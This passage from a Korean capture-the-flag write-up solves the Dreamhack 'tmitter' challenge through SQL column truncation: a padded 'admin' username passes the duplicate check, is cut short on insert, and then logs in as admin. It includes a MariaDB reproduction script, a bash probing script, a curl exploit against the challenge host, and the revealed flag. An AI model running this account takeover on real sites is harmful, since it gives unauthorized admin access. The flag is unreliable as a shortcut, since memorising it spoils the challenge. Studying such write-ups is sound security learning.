์ฒ˜์Œ์—” "๊ทธ๋ƒฅ admin + ๊ณต๋ฐฑ๋งŒ ์ž”๋œฉ ๋„ฃ์œผ๋ฉด ๋˜์ง€ ์•Š๋‚˜?" ์‹ถ์—ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ๋Ÿฌ๋ฉด ์ค‘๋ณต ์ฒดํฌ์—์„œ ๊ฑธ๋ฆฐ๋‹ค. 'admin ' = 'admin' ์ด PADSPACE ๋•Œ๋ฌธ์— ์ฐธ์ด๋ผ, ์ค‘๋ณต ์ฒดํฌ WHERE id='admin ' ๊ฐ€ ๊ธฐ์กด admin ํ–‰์„ ์ฐพ์•„๋‚ด "already exists" ๋ฅผ ๋ฑ‰๋Š”๋‹ค.

๊ทธ๋ž˜์„œ ์ค‘๋ณต ์ฒดํฌ๋งŒ์€ ๋‹ค๋ฅธ ๋ฌธ์ž์—ด๋กœ ํ†ต๊ณผํ•ด์•ผ ํ•œ๋‹ค. ๋์— ๊ณต๋ฐฑ์ด ์•„๋‹Œ ๊ธ€์ž(1)๋ฅผ ํ•˜๋‚˜ ๋ถ™์ด๋ฉด ๊ทธ ์ˆœ๊ฐ„์—” admin ๊ณผ ๋‹ฌ๋ผ(๋ถˆ์ผ์น˜) ์ฒดํฌ๋ฅผ ํ†ต๊ณผํ•˜๊ณ , ์ €์žฅ๋  ๋•Œ ๊ทธ 1 ์ด ์ž˜๋ ค ๋‹ค์‹œ admin ์ด ๋œ๋‹ค. 1 ์€ "์ฒดํฌ๋ฅผ ์†์ด๊ณ , ์ €์žฅ๋˜๋ฉด ์‚ฌ๋ผ์ง€๋Š”" ๋ฏธ๋ผ์ธ ์…ˆ์ด๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 3 โ€” ๋กœ์ปฌ ์žฌํ˜„ ๋•Œ ์ž˜๋ฆผ์ด ์•ˆ ๋˜๊ณ  ์—๋Ÿฌ๊ฐ€ ๋‚ฌ๋‹ค (sql_mode)

๋กœ์ปฌ MariaDB(11.8)๋กœ ํŠธ๋ ์ผ€์ด์…˜์„ ์žฌํ˜„ํ•˜๋ ค๋Š”๋ฐ, ์ฒ˜์Œ์—” ์˜ค๋ฒ„๋กฑ ๋ฌธ์ž์—ด์„ INSERT ํ•˜๋‹ˆ ์ž˜๋ ค์„œ ์ €์žฅ๋˜๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ Data too long for column 'id' ์—๋Ÿฌ๋กœ ๊ฑฐ๋ถ€๋๋‹ค. ์š”์ฆ˜ MariaDB ๋Š” sql_mode ๊ธฐ๋ณธ๊ฐ’์— STRICT_TRANS_TABLES ๊ฐ€ ๋“ค์–ด ์žˆ์–ด์„œ, ๊ธธ์ด ์ดˆ๊ณผ๋ฅผ ์กฐ์šฉํžˆ ์ž๋ฅด์ง€ ์•Š๊ณ  ์•„์˜ˆ ๋ง‰๋Š”๋‹ค.

๋ฌธ์ œ ์„œ๋ฒ„(๊ตฌํ˜• PHP/MySQL ์Šคํƒ)์˜ ๋น„์—„๊ฒฉ ๋™์ž‘์„ ์žฌํ˜„ํ•˜๋ ค๋ฉด ์„ธ์…˜์—์„œ SET sql_mode=''; ๋กœ strict ๋ฅผ ๊บผ์•ผ ํ–ˆ๋‹ค. ์ด๊ฑธ ๋„์ž ๊ทธ์ œ์„œ์•ผ varchar(20) ์ดˆ๊ณผ๋ถ„์ด ์ž˜๋ ค admin + ๊ณต๋ฐฑ์œผ๋กœ ์ €์žฅ๋๋‹ค. ์—ญ์„ค์ ์œผ๋กœ ์ด ์‚ฝ์งˆ์ด ๊ณง ๋ฐฉ์–ด์ฑ…์„ ์•Œ๋ ค์ค€ ์…ˆ์ด๋‹ค โ€” strict ๋ชจ๋“œ๋งŒ ์ผœ์ ธ ์žˆ์—ˆ์–ด๋„ ์ด ๊ณต๊ฒฉ์€ ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค.

๐Ÿ’ฃ ํ•ต์‹ฌ โ€” 3๋‹จ๊ณ„ ํŠธ๋ ์ผ€์ด์…˜ ๊ณต๊ฒฉ

์ •๋ฆฌํ•˜๋ฉด ๊ณต๊ฒฉ์€ ์„ธ ๋‹จ๊ณ„๋‹ค.

SQL ์ปฌ๋Ÿผ ํŠธ๋ ์ผ€์ด์…˜ ๊ณต๊ฒฉ 3๋‹จ๊ณ„ ๋‹ค์ด์–ด๊ทธ๋žจ: 1) ์ค‘๋ณต์ฒดํฌ ์šฐํšŒ๋Š” ๊ฐ€์ž… id๋ฅผ admin ๋”ํ•˜๊ธฐ ๊ณต๋ฐฑ 250๊ฐœ ๋”ํ•˜๊ธฐ 1 ๋กœ ๋งŒ๋“ค๋ฉด ๋์˜ 1 ๋•Œ๋ฌธ์— ๊ธฐ์กด admin ๊ณผ ๋‹ฌ๋ผ count 0 ์œผ๋กœ ํ†ต๊ณผ, 2) INSERT ์‹œ id ์ปฌ๋Ÿผ ๊ธธ์ด๋กœ ์ž˜๋ ค admin ๋”ํ•˜๊ธฐ ๊ณต๋ฐฑ์œผ๋กœ ์ €์žฅ๋˜๊ณ  1์€ ์‚ฌ๋ผ์ง, 3) ๋กœ๊ทธ์ธ ์‹œ MySQL ์€ trailing space ๋ฅผ ๋ฌด์‹œํ•ด admin ๊ณต๋ฐฑ ์€ admin ๊ณผ ๊ฐ™์œผ๋ฏ€๋กœ ๋‚ด๊ฐ€ ๋งŒ๋“  ํ–‰์ด ๋งค์นญ๋˜์–ด admin ์œผ๋กœ ๋กœ๊ทธ์ธ, ๊ฒฐ๊ณผ๋กœ admin ์ฒซ ํŠธ์œ—์— ํ”Œ๋ž˜๊ทธ
SQL ์ปฌ๋Ÿผ ํŠธ๋ ์ผ€์ด์…˜ ๊ณต๊ฒฉ 3๋‹จ๊ณ„ ๋‹ค์ด์–ด๊ทธ๋žจ: 1) ์ค‘๋ณต์ฒดํฌ ์šฐํšŒ๋Š” ๊ฐ€์ž… id๋ฅผ admin ๋”ํ•˜๊ธฐ ๊ณต๋ฐฑ 250๊ฐœ ๋”ํ•˜๊ธฐ 1 ๋กœ ๋งŒ๋“ค๋ฉด ๋์˜ 1 ๋•Œ๋ฌธ์— ๊ธฐ์กด admin ๊ณผ ๋‹ฌ๋ผ count 0 ์œผ๋กœ ํ†ต๊ณผ, 2) INSERT ์‹œ id ์ปฌ๋Ÿผ ๊ธธ์ด๋กœ ์ž˜๋ ค admin ๋”ํ•˜๊ธฐ ๊ณต๋ฐฑ์œผ๋กœ ์ €์žฅ๋˜๊ณ  1์€ ์‚ฌ๋ผ์ง, 3) ๋กœ๊ทธ์ธ ์‹œ MySQL ์€ trailing space ๋ฅผ ๋ฌด์‹œํ•ด admin ๊ณต๋ฐฑ ์€ admin ๊ณผ ๊ฐ™์œผ๋ฏ€๋กœ ๋‚ด๊ฐ€ ๋งŒ๋“  ํ–‰์ด ๋งค์นญ๋˜์–ด admin ์œผ๋กœ ๋กœ๊ทธ์ธ, ๊ฒฐ๊ณผ๋กœ admin ์ฒซ ํŠธ์œ—์— ํ”Œ๋ž˜๊ทธ

๋ง๋กœ๋งŒ ํ•˜๋ฉด ๋ฏธ๋ฅ์ง€ ์•Š์œผ๋‹ˆ, ๋กœ์ปฌ MariaDB ๋กœ ๋˜‘๊ฐ™์ด ์žฌํ˜„ํ•ด ๋ดค๋‹ค. ๋ฌธ์ œ์™€ ๊ฐ™์€ ๊ตฌ์กฐ๋กœ member(id varchar(20), ps ...) ํ…Œ์ด๋ธ”์„ ๋งŒ๋“ค๊ณ  ์›๋ž˜ admin ์„ ๋„ฃ์€ ๋’ค, admin + ๊ณต๋ฐฑ30 + 1 ์„ ๋„ฃ์–ด ๋ดค๋‹ค.

์žฌํ˜„์— ์“ด SQL ์Šคํฌ๋ฆฝํŠธ ์ „๋ฌธ๊ณผ ์‹คํ–‰ ๋ช…๋ น์ด๋‹ค.

-- analysis/demo.sql
-- tmitter ๋ฉ”์ปค๋‹ˆ์ฆ˜ ๋กœ์ปฌ ์žฌํ˜„ (MariaDB)
DROP DATABASE IF EXISTS tm; CREATE DATABASE tm; USE tm;
 
-- (1) MySQL/MariaDB ๋Š” CHAR/VARCHAR ๋น„๊ต์—์„œ ๋ ๊ณต๋ฐฑ์„ ๋ฌด์‹œํ•œ๋‹ค (PADSPACE collation)
SELECT 'admin' = 'admin        '      AS "admin = 'admin        '",
       'admin' = 'admin        1'     AS "admin = 'admin        1'";
 
-- ๋ฌธ์ œ์™€ ๋™์ผ: id ๋Š” varchar(?) (์—ฌ๊ธฐ์„  20์œผ๋กœ ๊ฐ€์ •), ์›๋ž˜ admin ์กด์žฌ
CREATE TABLE member (id VARCHAR(20), ps VARCHAR(64));
INSERT INTO member VALUES ('admin', 'REAL_ADMIN_PW');
 
-- (2) ๊ฐ€์ž… ์ค‘๋ณต์ฒดํฌ โ€” ์šฐ๋ฆฌ๊ฐ€ ๋„ฃ์„ ํฌ๋ž˜ํ”„ํŠธ id (admin + ๊ณต๋ฐฑ30 + '1') ๋กœ ์กฐํšŒ
SET @craft = CONCAT('admin', REPEAT(' ', 30), '1');
SELECT LENGTH(@craft) AS "ํฌ๋ž˜ํ”„ํŠธ ๊ธธ์ด",
       (SELECT COUNT(*) FROM member WHERE id=@craft) AS "์ค‘๋ณต์ฒดํฌ count (0์ด๋ฉด ํ†ต๊ณผ)";
 
-- (3) INSERT โ€” ๋น„์—„๊ฒฉ(non-strict) ๋ชจ๋“œ์—์„œ๋Š” varchar(20) ์ดˆ๊ณผ๋ถ„์ด ์กฐ์šฉํžˆ ์ž˜๋ฆฐ๋‹ค
SET sql_mode='';                      -- ์˜ˆ์ „ PHP/MySQL ๊ธฐ๋ณธ๊ฐ’(๋น„์—„๊ฒฉ) ์žฌํ˜„
INSERT INTO member VALUES (@craft, 'pwn12345');
SELECT id, HEX(id) AS "์ €์žฅ๋œ id (hex)", LENGTH(id) AS len, ps
  FROM member WHERE ps='pwn12345';
 
-- (4) ๋กœ๊ทธ์ธ โ€” admin ์œผ๋กœ ์กฐํšŒํ•˜๋ฉด ํฌ๋ž˜ํ”„ํŠธํ•œ ํ–‰์ด ๋งค์นญ๋œ๋‹ค
SELECT id, ps, '<= admin ์œผ๋กœ ๋กœ๊ทธ์ธ๋˜๋Š” ํ–‰' AS note
  FROM member WHERE id='admin' AND ps='pwn12345';
mysql -t < demo.sql

๋กœ์ปฌ MariaDB ์žฌํ˜„: admin = admin+๊ณต๋ฐฑ๋“ค ์€ 1(์ฐธ), admin = admin+๊ณต๋ฐฑ๋“ค+1 ์€ 0(๊ฑฐ์ง“). ํฌ๋ž˜ํ”„ํŠธ ๋ฌธ์ž์—ด ๊ธธ์ด 36, ์ค‘๋ณต์ฒดํฌ count 0(ํ†ต๊ณผ). sql_mode ๋ฅผ ๋น„์—„๊ฒฉ์œผ๋กœ ๋‘๊ณ  INSERT ํ•˜๋ฉด varchar(20) ์ด๋ผ ์ž˜๋ ค์„œ ์ €์žฅ๋œ id ์˜ hex ๊ฐ€ 61646D696E ๋’ค์— ๊ณต๋ฐฑ(20) ์ด ๋ถ™์€ admin ์ด ๋˜๊ณ  len ์€ 20. ๋งˆ์ง€๋ง‰์œผ๋กœ WHERE id=admin AND ps=pwn12345 ์กฐํšŒํ•˜๋ฉด ํฌ๋ž˜ํ”„ํŠธํ•œ ํ–‰์ด admin ์œผ๋กœ ๋งค์นญ๋œ๋‹ค
๋กœ์ปฌ MariaDB ์žฌํ˜„: admin = admin+๊ณต๋ฐฑ๋“ค ์€ 1(์ฐธ), admin = admin+๊ณต๋ฐฑ๋“ค+1 ์€ 0(๊ฑฐ์ง“). ํฌ๋ž˜ํ”„ํŠธ ๋ฌธ์ž์—ด ๊ธธ์ด 36, ์ค‘๋ณต์ฒดํฌ count 0(ํ†ต๊ณผ). sql_mode ๋ฅผ ๋น„์—„๊ฒฉ์œผ๋กœ ๋‘๊ณ  INSERT ํ•˜๋ฉด varchar(20) ์ด๋ผ ์ž˜๋ ค์„œ ์ €์žฅ๋œ id ์˜ hex ๊ฐ€ 61646D696E ๋’ค์— ๊ณต๋ฐฑ(20) ์ด ๋ถ™์€ admin ์ด ๋˜๊ณ  len ์€ 20. ๋งˆ์ง€๋ง‰์œผ๋กœ WHERE id=admin AND ps=pwn12345 ์กฐํšŒํ•˜๋ฉด ํฌ๋ž˜ํ”„ํŠธํ•œ ํ–‰์ด admin ์œผ๋กœ ๋งค์นญ๋œ๋‹ค

์บก์ณ๊ฐ€ ์„ธ ๋‹จ๊ณ„๋ฅผ ๊ทธ๋Œ€๋กœ ๋ณด์—ฌ์ค€๋‹ค.

  • 'admin' = 'admin ' โ†’ 1, 'admin' = 'admin 1' โ†’ 0. PADSPACE ๋น„๊ต๊ฐ€ ์‹ค์ œ๋กœ ๊ทธ๋ ‡๊ฒŒ ๋™์ž‘ํ•œ๋‹ค.
  • ํฌ๋ž˜ํ”„ํŠธ ๋ฌธ์ž์—ด ๊ธธ์ด๋Š” 36, ์ค‘๋ณต ์ฒดํฌ count ๋Š” 0 โ†’ ๊ฐ€์ž… ํ†ต๊ณผ.
  • sql_mode ๋ฅผ ๋น„์—„๊ฒฉ('')์œผ๋กœ ๋‘๊ณ  INSERT ํ•˜๋‹ˆ, varchar(20) ์ด๋ผ ์ž˜๋ ค์„œ ์ €์žฅ๋œ id ์˜ HEX ๊ฐ€ 61646D696E(=admin) + 20(๊ณต๋ฐฑ) ร— 15, ๊ธธ์ด 20. 1 ์€ ํ”์ ๋„ ์—†์ด ์‚ฌ๋ผ์กŒ๋‹ค.
  • WHERE id='admin' AND ps='pwn12345' ๋กœ ์กฐํšŒํ•˜๋ฉด ํฌ๋ž˜ํ”„ํŠธํ•œ ํ–‰์ด admin ์œผ๋กœ ์žกํžŒ๋‹ค.

๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์ด๋ก ์ด ์•„๋‹ˆ๋ผ ์‹ค์ œ๋กœ ์„ฑ๋ฆฝํ•จ์„ ํ™•์ธํ–ˆ์œผ๋‹ˆ, ์ด์ œ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ์ ์šฉํ•œ๋‹ค.

๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

์ปฌ๋Ÿผ ๊ธธ์ด ํ”„๋กœ๋น™ โ€” varchar(32) ํ™•์ •

๋จผ์ € ๋ผ์ด๋ธŒ ์„œ๋ฒ„์˜ ์‹ค์ œ id ์ปฌ๋Ÿผ ๊ธธ์ด๋ฅผ ์•Œ์•„๋ƒˆ๋‹ค. admin + ๊ณต๋ฐฑ N + 1 ๋กœ ๊ฐ€์ž…ํ•œ ๋’ค admin ์œผ๋กœ ๋กœ๊ทธ์ธ์ด ๋˜๋Š”์ง€ ๋ณด๋ฉด ๋œ๋‹ค. ๋กœ๊ทธ์ธ์ด ์„ฑ๊ณตํ•œ๋‹ค๋Š” ๊ฑด ๊ณง ํŠธ๋ ์ผ€์ด์…˜์ด 1 ์„ ์ž˜๋ผ๋ƒˆ๋‹ค๋Š” ๋œป์ด๊ณ , ์ด๋Š” ํฌ๋ž˜ํ”„ํŠธ ๊ธธ์ด(N+6)๊ฐ€ ์ปฌ๋Ÿผ ๊ธธ์ด๋ฅผ ๋„˜์—ˆ๋‹ค๋Š” ์‹ ํ˜ธ๋‹ค. N ์„ ๋Š˜๋ ค ๊ฐ€๋ฉฐ ์‹คํŒจโ†’์„ฑ๊ณต์ด ๋ฐ”๋€Œ๋Š” ๊ฒฝ๊ณ„๋ฅผ ์ฐพ์•˜๋‹ค.

ํ”„๋กœ๋น™ ์Šคํฌ๋ฆฝํŠธ ์ „๋ฌธ๊ณผ ์‹คํ–‰ ๋ช…๋ น์ด๋‹ค.

# analysis/cap_probelen.sh
#!/usr/bin/env bash
# ์‹ค์ œ id ์ปฌ๋Ÿผ ๊ธธ์ด ํ”„๋กœ๋น™ โ€” admin + ๊ณต๋ฐฑN + '1' ๊ฐ€์ž… ํ›„ admin ๋กœ๊ทธ์ธ ์„ฑ๊ณต ์—ฌ๋ถ€๋กœ ์ด์ง„ ํŒ๋ณ„
# ์„ฑ๊ณต = ํŠธ๋ ์ผ€์ด์…˜์ด '1' ์„ ์ž˜๋ผ๋ƒˆ๋‹ค = ํฌ๋ž˜ํ”„ํŠธ ๊ธธ์ด(N+6) > ์ปฌ๋Ÿผ๊ธธ์ด
BASE="http://host3.dreamhack.games:16338"
echo "N(๊ณต๋ฐฑ) | ํฌ๋ž˜ํ”„ํŠธ len | admin ๋กœ๊ทธ์ธ | ํ•ด์„"
echo "--------+--------------+--------------+---------------------------"
for N in 24 25 26 27 28; do
  PW="zc${N}q7x"
  CRAFT=$(python3 -c "print('admin' + ' '*$N + '1')")
  curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode "id=$CRAFT" --data-urlencode "ps=$PW" >/dev/null
  R=$(curl -s -m 20 -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode "ps=$PW")
  if echo "$R" | grep -qiE 'flag is|What.s happening'; then
    printf "  %2d    |      %2d      |   ์„ฑ๊ณต โœ”     | ์ž˜๋ฆผ ๋ฐœ์ƒ โ†’ col <= %d\n" "$N" "$((N+6))" "$((5+N))"
  else
    printf "  %2d    |      %2d      |   ์‹คํŒจ       | '1' ์ƒ์กด โ†’ col > %d\n" "$N" "$((N+6))" "$((5+N))"
  fi
done
echo
echo "โ†’ N=26(len32) ์‹คํŒจ / N=27(len33) ์„ฑ๊ณต ๊ฒฝ๊ณ„  โ‡’  id ์ปฌ๋Ÿผ = varchar(32)  (ํผ maxlength=32 ์™€ ์ผ์น˜)"
echo "  ์ตœ์†Œ ํŽ˜์ด๋กœ๋“œ: 'admin' + ๊ณต๋ฐฑ27 + '1' (33์ž). ๋„‰๋„‰ํžˆ ๊ณต๋ฐฑ 250๊ฐœ ์จ๋„ ๋™์ผํ•˜๊ฒŒ ํ†ตํ•จ."
bash cap_probelen.sh

์ปฌ๋Ÿผ ๊ธธ์ด ํ”„๋กœ๋น™: admin ๋”ํ•˜๊ธฐ ๊ณต๋ฐฑ N ๋”ํ•˜๊ธฐ 1 ๋กœ ๊ฐ€์ž… ํ›„ admin ๋กœ๊ทธ์ธ ์„ฑ๊ณต ์—ฌ๋ถ€๋ฅผ ์ด์ง„ ํŒ๋ณ„. N=24,25,26(ํฌ๋ž˜ํ”„ํŠธ len 30,31,32) ์€ ์‹คํŒจํ•ด์„œ 1์ด ์‚ด์•„๋‚จ๊ณ , N=27,28(len 33,34) ์€ ์„ฑ๊ณตํ•ด์„œ ์ž˜๋ฆผ ๋ฐœ์ƒ. N=26(len32) ์‹คํŒจ์™€ N=27(len33) ์„ฑ๊ณต์˜ ๊ฒฝ๊ณ„๋ผ id ์ปฌ๋Ÿผ์€ varchar(32) ๋กœ ํ™•์ •๋˜๋ฉฐ ํผ maxlength=32 ์™€ ์ผ์น˜ํ•œ๋‹ค
์ปฌ๋Ÿผ ๊ธธ์ด ํ”„๋กœ๋น™: admin ๋”ํ•˜๊ธฐ ๊ณต๋ฐฑ N ๋”ํ•˜๊ธฐ 1 ๋กœ ๊ฐ€์ž… ํ›„ admin ๋กœ๊ทธ์ธ ์„ฑ๊ณต ์—ฌ๋ถ€๋ฅผ ์ด์ง„ ํŒ๋ณ„. N=24,25,26(ํฌ๋ž˜ํ”„ํŠธ len 30,31,32) ์€ ์‹คํŒจํ•ด์„œ 1์ด ์‚ด์•„๋‚จ๊ณ , N=27,28(len 33,34) ์€ ์„ฑ๊ณตํ•ด์„œ ์ž˜๋ฆผ ๋ฐœ์ƒ. N=26(len32) ์‹คํŒจ์™€ N=27(len33) ์„ฑ๊ณต์˜ ๊ฒฝ๊ณ„๋ผ id ์ปฌ๋Ÿผ์€ varchar(32) ๋กœ ํ™•์ •๋˜๋ฉฐ ํผ maxlength=32 ์™€ ์ผ์น˜ํ•œ๋‹ค

๊ฒฝ๊ณ„๊ฐ€ ๊น”๋”ํ–ˆ๋‹ค. N=26(์ด 32์ž)์€ ์‹คํŒจ, N=27(์ด 33์ž)์€ ์„ฑ๊ณต. ์ฆ‰ 32์ž๊นŒ์ง€๋Š” ๊ทธ๋Œ€๋กœ ์ €์žฅ(=1 ์ƒ์กด)๋˜๊ณ  33์ž๋ถ€ํ„ฐ ์ž˜๋ฆฐ๋‹ค โ†’ id ์ปฌ๋Ÿผ์€ varchar(32). ํผ์˜ maxlength="32" ์™€ ์ •ํ™•ํžˆ ๋งž์•„๋–จ์–ด์ง„๋‹ค. ์ตœ์†Œ ํŽ˜์ด๋กœ๋“œ๋Š” admin + ๊ณต๋ฐฑ 27๊ฐœ + 1(33์ž)์ด์ง€๋งŒ, ๊ณต๋ฐฑ์„ ๋„‰๋„‰ํžˆ 250๊ฐœ ์จ๋„ ๊ฒฐ๊ณผ๋Š” ๊ฐ™๋‹ค.

๊ณ„์ • ์ƒ์„ฑ โ†’ admin ๋กœ๊ทธ์ธ

ํฌ๋ž˜ํ”„ํŠธํ•œ admin ์„ ๊ฐ€์ž…์‹œํ‚ค๊ณ , ๊ณง๋ฐ”๋กœ admin ์œผ๋กœ ๋กœ๊ทธ์ธํ–ˆ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡ ์Šคํฌ๋ฆฝํŠธ ์ „๋ฌธ๊ณผ ์‹คํ–‰ ๋ช…๋ น์ด๋‹ค.

# analysis/cap_exploit.sh
#!/usr/bin/env bash
# SQL ์ปฌ๋Ÿผ ํŠธ๋ ์ผ€์ด์…˜ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” admin + ๊ณต๋ฐฑ + 1 ๋กœ ๊ฐ€์ž… ํ›„ admin ๋กœ๊ทธ์ธ
BASE="http://host3.dreamhack.games:16338"
JAR=$(mktemp)
PAD=$(python3 -c "print('admin' + ' '*250 + '1')")     # 256์ž
echo "[1] ํฌ๋ž˜ํ”„ํŠธ id = 'admin' + ๊ณต๋ฐฑ250 + '1'  (์ด ${#PAD}์ž)"
echo "    โ†’ ์ค‘๋ณต์ฒดํฌ WHERE id='admin...1' ๋Š” ๊ธฐ์กด 'admin' ๊ณผ ๋ถˆ์ผ์น˜(๋์— 1) โ†’ ํ†ต๊ณผ"
echo "    โ†’ INSERT ์‹œ id ์ปฌ๋Ÿผ ๊ธธ์ด๋กœ ์ž˜๋ฆผ โ†’ ์ €์žฅ๊ฐ’ = 'admin' + ๊ณต๋ฐฑ ('1' ์ž˜๋ฆผ)"
R1=$(curl -s -m 25 -X POST "$BASE/join.php" --data-urlencode "id=$PAD" --data-urlencode 'ps=pwn12345')
echo "    ๊ฐ€์ž…๊ฒฐ๊ณผ: $(echo "$R1" | grep -oE "window.location='./';|is exist" | head -1)"
echo
echo "[2] MySQL ์€ trailing space ๋ฌด์‹œ๋น„๊ต โ†’ 'admin      ' = 'admin'"
echo "    login  id=admin  ps=pwn12345  โ†’ ํฌ๋ž˜ํ”„ํŠธํ•œ ํ–‰์ด ๋งค์นญ๋˜์–ด admin ์œผ๋กœ ๋กœ๊ทธ์ธ"
R2=$(curl -s -m 25 -c "$JAR" -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode 'ps=pwn12345')
echo
echo "[3] admin ๊ณ„์ • ์ฒซ ํŠธ์œ—์— ํ”Œ๋ž˜๊ทธ:"
echo "$R2" | grep -oE 'flag is DH\{[^}]*\}'
rm -f "$JAR"
bash cap_exploit.sh

tmitter ์ต์Šคํ”Œ๋กœ์ž‡ ํ„ฐ๋ฏธ๋„: 1๋‹จ๊ณ„๋กœ admin ๋”ํ•˜๊ธฐ ๊ณต๋ฐฑ 250๊ฐœ ๋”ํ•˜๊ธฐ 1 (256์ž)๋กœ ๊ฐ€์ž…ํ•ด ์ค‘๋ณต์ฒดํฌ ํ†ต๊ณผ, 2๋‹จ๊ณ„๋กœ MySQL trailing space ๋ฌด์‹œ๋น„๊ต๋ฅผ ์ด์šฉํ•ด id=admin ps=pwn12345 ๋กœ ๋กœ๊ทธ์ธ, 3๋‹จ๊ณ„๋กœ admin ๊ณ„์ • ์ฒซ ํŠธ์œ—์—์„œ flag is DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ ์ถ”์ถœ
tmitter ์ต์Šคํ”Œ๋กœ์ž‡ ํ„ฐ๋ฏธ๋„: 1๋‹จ๊ณ„๋กœ admin ๋”ํ•˜๊ธฐ ๊ณต๋ฐฑ 250๊ฐœ ๋”ํ•˜๊ธฐ 1 (256์ž)๋กœ ๊ฐ€์ž…ํ•ด ์ค‘๋ณต์ฒดํฌ ํ†ต๊ณผ, 2๋‹จ๊ณ„๋กœ MySQL trailing space ๋ฌด์‹œ๋น„๊ต๋ฅผ ์ด์šฉํ•ด id=admin ps=pwn12345 ๋กœ ๋กœ๊ทธ์ธ, 3๋‹จ๊ณ„๋กœ admin ๊ณ„์ • ์ฒซ ํŠธ์œ—์—์„œ flag is DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ ์ถ”์ถœ

BASE="http://host3.dreamhack.games:PORT"
 
# โ‘  admin + ๊ณต๋ฐฑ 250 + '1' ๋กœ ๊ฐ€์ž… (์ค‘๋ณต์ฒดํฌ๋Š” ๋์˜ '1' ๋•Œ๋ฌธ์— ํ†ต๊ณผ, ์ €์žฅ ์‹œ varchar(32) ๋กœ ์ž˜๋ฆผ)
PAD=$(python3 -c "print('admin' + ' '*250 + '1')")
curl -s -X POST "$BASE/join.php" --data-urlencode "id=$PAD" --data-urlencode 'ps=pwn12345'
 
# โ‘ก admin ์œผ๋กœ ๋กœ๊ทธ์ธ โ†’ PADSPACE ๋น„๊ต๋กœ ๋‚ด๊ฐ€ ๋งŒ๋“  ํ–‰์ด ๋งค์นญ
curl -s -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode 'ps=pwn12345' \
     | grep -oE 'flag is DH\{[^}]*\}'
# flag is DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}

๋ธŒ๋ผ์šฐ์ €์—์„œ ๊ฐ™์€ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•ด๋„ ๊ทธ๋Œ€๋กœ admin ํƒ€์ž„๋ผ์ธ์ด ์—ด๋ฆฌ๊ณ , ์ฒซ ํŠธ์œ—์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ๊ฑธ๋ ค ์žˆ๋‹ค. ์šฐ์ธก ์ƒ๋‹จ ํ”„๋กœํ•„์ด admin ์œผ๋กœ ์ฐํžŒ ๊ฒƒ๊นŒ์ง€ ํ™•์ธํ–ˆ๋‹ค.

๋ธŒ๋ผ์šฐ์ €์—์„œ admin ์œผ๋กœ ๋กœ๊ทธ์ธํ•œ tmitter ํŽ˜์ด์ง€: ์ฃผ์†Œ์ฐฝ์€ tmitter.php, ์šฐ์ธก ์ƒ๋‹จ์— admin ํ”„๋กœํ•„, ์ฒซ ํŠธ์œ—์— this flag is DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ์™€ This admin account will be deleted now ๋ฉ”์‹œ์ง€
๋ธŒ๋ผ์šฐ์ €์—์„œ admin ์œผ๋กœ ๋กœ๊ทธ์ธํ•œ tmitter ํŽ˜์ด์ง€: ์ฃผ์†Œ์ฐฝ์€ tmitter.php, ์šฐ์ธก ์ƒ๋‹จ์— admin ํ”„๋กœํ•„, ์ฒซ ํŠธ์œ—์— this flag is DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ์™€ This admin account will be deleted now ๋ฉ”์‹œ์ง€

ํ”Œ๋ž˜๊ทธ: DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}

๐Ÿ“ ๊ฒฐ๋ก  โ€” ๋ฌธ์ž์—ด์˜ ์ €์žฅยท๋น„๊ต ๊ฒฝ๊ณ„๋Š” ๋Š˜ ๊ณต๊ฒฉ ํ‘œ๋ฉด

ํ•œ ์ค„์งœ๋ฆฌ ์ธ์ฆ ๋กœ์ง์ด ๋ฌด๋„ˆ์ง„ ์›์ธ์€ ํ•˜๋‚˜๊ฐ€ ์•„๋‹ˆ๋ผ ์„ธ ๊ฐœ์˜ ํ‹ˆ์ด ๊ฒน์นœ ๊ฒƒ์ด๋‹ค. ๊ฐ๊ฐ์„ ์งš์–ด ๋ณธ๋‹ค.

์ค‘๋ณต ์ฒดํฌ์™€ ์‹ค์ œ ์ €์žฅ์˜ ๊ทœ์น™์ด ์–ด๊ธ‹๋‚ฌ๋‹ค.

